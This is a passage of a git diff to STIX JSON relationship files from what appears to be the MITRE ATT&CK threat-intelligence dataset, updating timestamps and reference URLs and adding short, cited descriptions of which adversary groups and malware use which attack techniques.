             "source_ref": "intrusion-set--5ce5392a-3a6c-4e07-9df3-9b6a9159ac45",
             "target_ref": "malware--8e461ca3-0996-4e6e-a0df-e2a5bbc51ebc",
diff --git a/enterprise-attack/relationship/relationship--47a95ac1-e37a-40ea-bf1e-e99ff4483998.json b/enterprise-attack/relationship/relationship--47a95ac1-e37a-40ea-bf1e-e99ff4483998.json
new file mode 100644
index 0000000000..5f1fb08d1b
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--47a95ac1-e37a-40ea-bf1e-e99ff4483998.json
@@ -0,0 +1,33 @@
+{
+    "type": "bundle",
+    "id": "bundle--504c70a4-cc93-4bc1-b47f-87b19b0a3213",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--47a95ac1-e37a-40ea-bf1e-e99ff4483998",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Matroyshka is capable of stealing Outlook passwords.",
+            "source_ref": "malware--1cc934e4-b01d-4543-a011-b988dfc1a458",
+            "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22",
+            "external_references": [
+                {
+                    "source_name": "ClearSky Wilted Tulip July 2017",
+                    "description": "ClearSky Cyber Security and Trend Micro. (2017, July). Operation Wilted Tulip: Exposing a cyber espionage apparatus. Retrieved August 21, 2017.",
+                    "url": "http://www.clearskysec.com/wp-content/uploads/2017/07/Operation%20Wilted%20Tulip.pdf"
+                },
+                {
+                    "source_name": "CopyKittens Nov 2015",
+                    "description": "Minerva Labs LTD and ClearSky Cyber Security. (2015, November 23). CopyKittens Attack Group. Retrieved September 11, 2017.",
+                    "url": "https://s3-eu-west-1.amazonaws.com/minervaresearchpublic/CopyKittens/CopyKittens.pdf"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--47e4d006-2685-4628-a46b-f6d9066f3585.json b/enterprise-attack/relationship/relationship--47e4d006-2685-4628-a46b-f6d9066f3585.json
index 57bceb7f48..ea5dd44fcf 100644
--- a/enterprise-attack/relationship/relationship--47e4d006-2685-4628-a46b-f6d9066f3585.json
+++ b/enterprise-attack/relationship/relationship--47e4d006-2685-4628-a46b-f6d9066f3585.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--55425065-51e8-402d-85b6-ecbb452d0c17",
+    "id": "bundle--712fdc48-107d-4aae-92e9-c7aaa377889c",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--47e4d006-2685-4628-a46b-f6d9066f3585",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "BlackEnergy has conducted port scans on a host.",
             "source_ref": "malware--54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4",
@@ -17,7 +17,7 @@
                 {
                     "source_name": "Securelist BlackEnergy Nov 2014",
                     "description": "Baumgartner, K. and Garnaeva, M.. (2014, November 3). BE2 custom plugins, router abuse, and target profiles. Retrieved March 24, 2016.",
-                    "url": "https://securelist.com/blog/research/67353/be2-custom-plugins-router-abuse-and-target-profiles/"
+                    "url": "https://securelist.com/be2-custom-plugins-router-abuse-and-target-profiles/67353/"
                 }
             ],
             "object_marking_refs": [
diff --git a/enterprise-attack/relationship/relationship--47e827f6-ec1d-4f16-80ab-0c54254ff42c.json b/enterprise-attack/relationship/relationship--47e827f6-ec1d-4f16-80ab-0c54254ff42c.json
index ac41b30059..90abd329dd 100644
--- a/enterprise-attack/relationship/relationship--47e827f6-ec1d-4f16-80ab-0c54254ff42c.json
+++ b/enterprise-attack/relationship/relationship--47e827f6-ec1d-4f16-80ab-0c54254ff42c.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--f9ac3149-a308-4fdd-a223-70342d9ca8a7",
+    "id": "bundle--708ae1e0-2e28-49b1-be63-ba7d8522dea7",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--47e827f6-ec1d-4f16-80ab-0c54254ff42c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Duqu is capable of using its command and control protocol over port 443. However, Duqu is also capable of encapsulating its command protocol over standard application layer protocols. The Duqu command and control protocol implements many of the same features as TCP and is a reliable transport protocol.",
             "source_ref": "malware--68dca94f-c11d-421e-9287-7c501108e18c",
diff --git a/enterprise-attack/relationship/relationship--47f521b8-37e4-489d-b6eb-25f35de80aae.json b/enterprise-attack/relationship/relationship--47f521b8-37e4-489d-b6eb-25f35de80aae.json
new file mode 100644
index 0000000000..81de562c55
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--47f521b8-37e4-489d-b6eb-25f35de80aae.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--d44dbb0b-b219-4522-a870-62b43b1886bc",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--47f521b8-37e4-489d-b6eb-25f35de80aae",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Magic Hound has downloaded additional code and files from servers onto victims.",
+            "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13",
+            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
+            "external_references": [
+                {
+                    "source_name": "Unit 42 Magic Hound Feb 2017",
+                    "description": "Lee, B. and Falcone, R. (2017, February 15). Magic Hound Campaign Attacks Saudi Targets. Retrieved December 27, 2017.",
+                    "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--47f611f4-b9f0-42ef-9629-ee4a56e737ed.json b/enterprise-attack/relationship/relationship--47f611f4-b9f0-42ef-9629-ee4a56e737ed.json
index c05e0098bf..79effe7fc1 100644
--- a/enterprise-attack/relationship/relationship--47f611f4-b9f0-42ef-9629-ee4a56e737ed.json
+++ b/enterprise-attack/relationship/relationship--47f611f4-b9f0-42ef-9629-ee4a56e737ed.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--74ccb316-7843-417c-ac17-3c9ac8e68bf1",
+    "id": "bundle--f417f159-37a9-42a9-be9b-096554fa4860",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--47f611f4-b9f0-42ef-9629-ee4a56e737ed",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "WINDSHIELD can gather Registry values.",
             "source_ref": "malware--98e8a977-3416-43aa-87fa-33e287e9c14c",
diff --git a/enterprise-attack/relationship/relationship--48042284-2fde-43f0-a3dc-f64e9f16bd77.json b/enterprise-attack/relationship/relationship--48042284-2fde-43f0-a3dc-f64e9f16bd77.json
index bfcdf33856..db776cf39c 100644
--- a/enterprise-attack/relationship/relationship--48042284-2fde-43f0-a3dc-f64e9f16bd77.json
+++ b/enterprise-attack/relationship/relationship--48042284-2fde-43f0-a3dc-f64e9f16bd77.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--c650fb9d-d7b8-440f-ba3a-8b670044bb6b",
+    "id": "bundle--1c4af4ef-dd31-4263-b6d4-6f159740edf5",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "relationship--48042284-2fde-43f0-a3dc-f64e9f16bd77",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.057Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
-            "description": "A keylogging tool used by APT3 gathers network information from the victim, including the MAC address, IP address, WINS, DHCP server, and gateway.",
+            "description": "A keylogging tool used by APT3 gathers network information from the victim, including the MAC address, IP address, WINS, DHCP server, and gateway. ",
             "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9",
             "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0",
             "external_references": [
@@ -18,6 +18,11 @@
                     "source_name": "Symantec Buckeye",
                     "description": "Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.",
                     "url": "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong"
+                },
+                {
+                    "source_name": "evolution of pirpi",
+                    "description": "Yates, M. (2017, June 18). APT3 Uncovered: The code evolution of Pirpi. Retrieved September 28, 2017.",
+                    "url": "https://recon.cx/2017/montreal/resources/slides/RECON-MTL-2017-evolution%20of%20pirpi.pdf"
                 }
             ],
             "object_marking_refs": [
diff --git a/enterprise-attack/relationship/relationship--483a70b9-eae9-4d5f-925c-95c2dd7b9fa5.json b/enterprise-attack/relationship/relationship--483a70b9-eae9-4d5f-925c-95c2dd7b9fa5.json
index 2385efbbe2..4d92ede34f 100644
--- a/enterprise-attack/relationship/relationship--483a70b9-eae9-4d5f-925c-95c2dd7b9fa5.json
+++ b/enterprise-attack/relationship/relationship--483a70b9-eae9-4d5f-925c-95c2dd7b9fa5.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--037c1bd5-31fb-49cd-a987-d33552fae313",
+    "id": "bundle--acd70065-5671-4e32-bb14-8d4583c3a495",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--483a70b9-eae9-4d5f-925c-95c2dd7b9fa5",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.026Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--beb45abb-11e8-4aef-9778-1f9ac249784f",
             "target_ref": "attack-pattern--ca1a3f50-5ebd-41f8-8320-2c7d6a6e88be",
diff --git a/enterprise-attack/relationship/relationship--4856de0a-2635-4081-97a8-3f15593c2aa5.json b/enterprise-attack/relationship/relationship--4856de0a-2635-4081-97a8-3f15593c2aa5.json
index 192161a71b..082431a396 100644
--- a/enterprise-attack/relationship/relationship--4856de0a-2635-4081-97a8-3f15593c2aa5.json
+++ b/enterprise-attack/relationship/relationship--4856de0a-2635-4081-97a8-3f15593c2aa5.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--a9eb23dc-d307-4737-b1ea-deb40573514d",
+    "id": "bundle--fcfd8e2c-cf10-45ea-96ee-92e3b148fd4d",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--4856de0a-2635-4081-97a8-3f15593c2aa5",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "FIN7 uses a PowerShell script to launch shellcode that retrieves an additional payload.",
             "source_ref": "intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc",
diff --git a/enterprise-attack/relationship/relationship--487d67d7-b697-4de4-abde-decee8b17c44.json b/enterprise-attack/relationship/relationship--487d67d7-b697-4de4-abde-decee8b17c44.json
index b873e96f0b..25ca9d4af6 100644
--- a/enterprise-attack/relationship/relationship--487d67d7-b697-4de4-abde-decee8b17c44.json
+++ b/enterprise-attack/relationship/relationship--487d67d7-b697-4de4-abde-decee8b17c44.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--16fa24f5-c35b-4d6d-adf0-179bf9891b67",
+    "id": "bundle--dc4a0ac3-1f22-465d-97f5-fd91e8fa6c8e",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--487d67d7-b697-4de4-abde-decee8b17c44",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "T9000 gathers and beacons the operating system build number and CPU Architecture (32-bit/64-bit) during installation.",
             "source_ref": "malware--876f6a77-fbc5-4e13-ab1a-5611986730a3",
diff --git a/enterprise-attack/relationship/relationship--4887f5b0-45ed-4848-a984-4e72263e33d8.json b/enterprise-attack/relationship/relationship--4887f5b0-45ed-4848-a984-4e72263e33d8.json
new file mode 100644
index 0000000000..42a4534e74
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--4887f5b0-45ed-4848-a984-4e72263e33d8.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--2aad6ee5-e1b6-4820-a2c7-38d3a0c5c7a9",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--4887f5b0-45ed-4848-a984-4e72263e33d8",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "uses HTTP for C2.",
+            "source_ref": "malware--196f1f32-e0c2-4d46-99cd-234d4b6befe1",
+            "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6",
+            "external_references": [
+                {
+                    "source_name": "Forcepoint Felismus Mar 2017",
+                    "description": "Somerville, L. and Toro, A. (2017, March 30). Playing Cat & Mouse: Introducing the Felismus Malware. Retrieved November 16, 2017.",
+                    "url": "https://blogs.forcepoint.com/security-labs/playing-cat-mouse-introducing-felismus-malware"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--489e5386-b177-455f-a8b3-d3c6e7afb9b1.json b/enterprise-attack/relationship/relationship--489e5386-b177-455f-a8b3-d3c6e7afb9b1.json
index 4fde7c329c..c0f09a5c8c 100644
--- a/enterprise-attack/relationship/relationship--489e5386-b177-455f-a8b3-d3c6e7afb9b1.json
+++ b/enterprise-attack/relationship/relationship--489e5386-b177-455f-a8b3-d3c6e7afb9b1.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--a69dc55c-d664-4baa-9c91-6582434520a2",
+    "id": "bundle--455f95e0-6c89-4bee-9871-5bb8478ec1ab",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--489e5386-b177-455f-a8b3-d3c6e7afb9b1",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.064Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--d519164e-f5fa-4b8c-a1fb-cf0172ad0983",
             "target_ref": "tool--03342581-f790-4f03-ba41-e82e67392e23",
diff --git a/enterprise-attack/relationship/relationship--48b75b8b-5bef-4f99-baa8-5fa978d371d2.json b/enterprise-attack/relationship/relationship--48b75b8b-5bef-4f99-baa8-5fa978d371d2.json
index 8a1f42939c..8557605129 100644
--- a/enterprise-attack/relationship/relationship--48b75b8b-5bef-4f99-baa8-5fa978d371d2.json
+++ b/enterprise-attack/relationship/relationship--48b75b8b-5bef-4f99-baa8-5fa978d371d2.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--ef379ad2-6cf4-4b24-bc01-7013527a01e0",
+    "id": "bundle--66eae145-fd0b-41a8-b335-769a477b7a0c",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--48b75b8b-5bef-4f99-baa8-5fa978d371d2",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "The Remsec loader implements itself with the name Security Support Provider, a legitimate Windows function. Various Remsec .exe files mimic legitimate file names used by Microsoft, Symantec, Kaspersky, Hewlett-Packard, and VMWare.Remsec also disguised malicious modules using similar filenames as custom network encryption software on victims.",
             "source_ref": "malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8",
diff --git a/enterprise-attack/relationship/relationship--48b9ca0c-925b-4f6a-8f25-459b2489be7c.json b/enterprise-attack/relationship/relationship--48b9ca0c-925b-4f6a-8f25-459b2489be7c.json
index 3b7ddb4b8c..e6fa0e3ab8 100644
--- a/enterprise-attack/relationship/relationship--48b9ca0c-925b-4f6a-8f25-459b2489be7c.json
+++ b/enterprise-attack/relationship/relationship--48b9ca0c-925b-4f6a-8f25-459b2489be7c.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--31e2e4dd-fcd9-4e60-9a13-8ccab6688654",
+    "id": "bundle--997513f3-8cc6-4966-99b5-e8dba3e12c28",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--48b9ca0c-925b-4f6a-8f25-459b2489be7c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--121b2863-5b97-4538-acb3-f8aae070ec13",
             "target_ref": "attack-pattern--dd901512-6e37-4155-943b-453e3777b125",
diff --git a/enterprise-attack/relationship/relationship--48f662fe-1ba2-4c19-b782-dd06d9fb67fa.json b/enterprise-attack/relationship/relationship--48f662fe-1ba2-4c19-b782-dd06d9fb67fa.json
index 7d87d44815..1fd467e6fe 100644
--- a/enterprise-attack/relationship/relationship--48f662fe-1ba2-4c19-b782-dd06d9fb67fa.json
+++ b/enterprise-attack/relationship/relationship--48f662fe-1ba2-4c19-b782-dd06d9fb67fa.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--ce94704f-7ee8-46a7-811d-7aff3bb4ec6c",
+    "id": "bundle--341fc9a4-1417-4ad5-8d40-7892cd1aef52",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--48f662fe-1ba2-4c19-b782-dd06d9fb67fa",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.039Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "APT28 regularly deploys a custom tool to take regular screenshots of victims.",
             "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c",
diff --git a/enterprise-attack/relationship/relationship--48fb8267-5d68-467b-a2c0-8302cc15ebed.json b/enterprise-attack/relationship/relationship--48fb8267-5d68-467b-a2c0-8302cc15ebed.json
index 46c9c2590a..d56a166b57 100644
--- a/enterprise-attack/relationship/relationship--48fb8267-5d68-467b-a2c0-8302cc15ebed.json
+++ b/enterprise-attack/relationship/relationship--48fb8267-5d68-467b-a2c0-8302cc15ebed.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--030318b2-577b-4c34-9ca8-30bfb44f277d",
+    "id": "bundle--70e5c57e-952f-4e6a-9877-70863fe17fcc",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--48fb8267-5d68-467b-a2c0-8302cc15ebed",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "RedLeaves can capture screenshots.",
             "source_ref": "malware--17b40f60-729f-4fe8-8aea-cc9ee44a95d5",
diff --git a/enterprise-attack/relationship/relationship--4923be5e-dd24-4289-adca-e9dbf545b9c2.json b/enterprise-attack/relationship/relationship--4923be5e-dd24-4289-adca-e9dbf545b9c2.json
new file mode 100644
index 0000000000..4d283514dd
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--4923be5e-dd24-4289-adca-e9dbf545b9c2.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--7ac740ef-91db-4c2a-949b-53ba101cc891",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--4923be5e-dd24-4289-adca-e9dbf545b9c2",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "OilRig has used <code>sc query</code> on a victim to gather information about services.",
+            "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d",
+            "target_ref": "attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa",
+            "external_references": [
+                {
+                    "source_name": "Palo Alto OilRig May 2016",
+                    "description": "Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.",
+                    "url": "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--49404706-aa42-4914-a273-2eeb217e6477.json b/enterprise-attack/relationship/relationship--49404706-aa42-4914-a273-2eeb217e6477.json
new file mode 100644
index 0000000000..7d1d85f66a
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--49404706-aa42-4914-a273-2eeb217e6477.json
@@ -0,0 +1,20 @@
+{
+    "type": "bundle",
+    "id": "bundle--ac386235-139f-4f9a-9400-51adf5c23bd2",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--49404706-aa42-4914-a273-2eeb217e6477",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d",
+            "target_ref": "tool--cde2d700-9ed1-46cf-9bce-07364fe8b24f",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--496e66ff-2c9f-454c-af36-49c7dc098493.json b/enterprise-attack/relationship/relationship--496e66ff-2c9f-454c-af36-49c7dc098493.json
new file mode 100644
index 0000000000..692d907b04
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--496e66ff-2c9f-454c-af36-49c7dc098493.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--433a954c-3fbf-45bf-8a90-bab34758d4a2",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--496e66ff-2c9f-454c-af36-49c7dc098493",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Dragonfly used RDP to connect to additional victims.",
+            "source_ref": "intrusion-set--1c63d4ec-0a75-4daa-b1df-0d11af3d3cc1",
+            "target_ref": "attack-pattern--51dea151-0898-4a45-967c-3ebee0420484",
+            "external_references": [
+                {
+                    "source_name": "US-CERT APT Energy Oct 2017",
+                    "description": "US-CERT. (2017, October 20). Alert (TA17-293A): Advanced Persistent Threat Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved November 2, 2017.",
+                    "url": "https://www.us-cert.gov/ncas/alerts/TA17-293A"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--49957d89-7449-476a-b542-d7811a86c230.json b/enterprise-attack/relationship/relationship--49957d89-7449-476a-b542-d7811a86c230.json
index 7d4e9481e9..425db96108 100644
--- a/enterprise-attack/relationship/relationship--49957d89-7449-476a-b542-d7811a86c230.json
+++ b/enterprise-attack/relationship/relationship--49957d89-7449-476a-b542-d7811a86c230.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--6f55a347-4402-41c6-9e64-f39cf3da4fef",
+    "id": "bundle--0a714ac7-cf03-49bb-b895-ad11afe7cbca",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--49957d89-7449-476a-b542-d7811a86c230",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.032Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--8f5e8dc7-739d-4f5e-a8a1-a66e004d7063",
             "target_ref": "malware--c0c45d38-fe57-4cd4-b2b2-9ecd0ddd4ca9",
diff --git a/enterprise-attack/relationship/relationship--49af09c8-1460-485d-9f09-dacea47fa016.json b/enterprise-attack/relationship/relationship--49af09c8-1460-485d-9f09-dacea47fa016.json
index e917671145..3b403935d5 100644
--- a/enterprise-attack/relationship/relationship--49af09c8-1460-485d-9f09-dacea47fa016.json
+++ b/enterprise-attack/relationship/relationship--49af09c8-1460-485d-9f09-dacea47fa016.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--91ce9dfe-3b47-4e14-8033-c85151c79fa7",
+    "id": "bundle--76b02640-1d16-47ab-a172-cc71ee7275e2",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--49af09c8-1460-485d-9f09-dacea47fa016",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Kasidet has the ability to obtain a victim's system name and operating system version.",
             "source_ref": "malware--26fed817-e7bf-41f9-829a-9075ffac45c2",
diff --git a/enterprise-attack/relationship/relationship--49c7a467-98ce-4764-af86-c950ed951d13.json b/enterprise-attack/relationship/relationship--49c7a467-98ce-4764-af86-c950ed951d13.json
new file mode 100644
index 0000000000..b667f9310d
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--49c7a467-98ce-4764-af86-c950ed951d13.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--62067681-e0b7-442e-830b-800b5e820f9f",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--49c7a467-98ce-4764-af86-c950ed951d13",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Helminth can use HTTP or DNS for C2.",
+            "source_ref": "malware--eff1a885-6f90-42a1-901f-eef6e7a1905e",
+            "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6",
+            "external_references": [
+                {
+                    "source_name": "Palo Alto OilRig May 2016",
+                    "description": "Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.",
+                    "url": "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--49d09bc3-cdc0-479b-8516-f64bff9b6757.json b/enterprise-attack/relationship/relationship--49d09bc3-cdc0-479b-8516-f64bff9b6757.json
index 32d61fc670..e07ced0504 100644
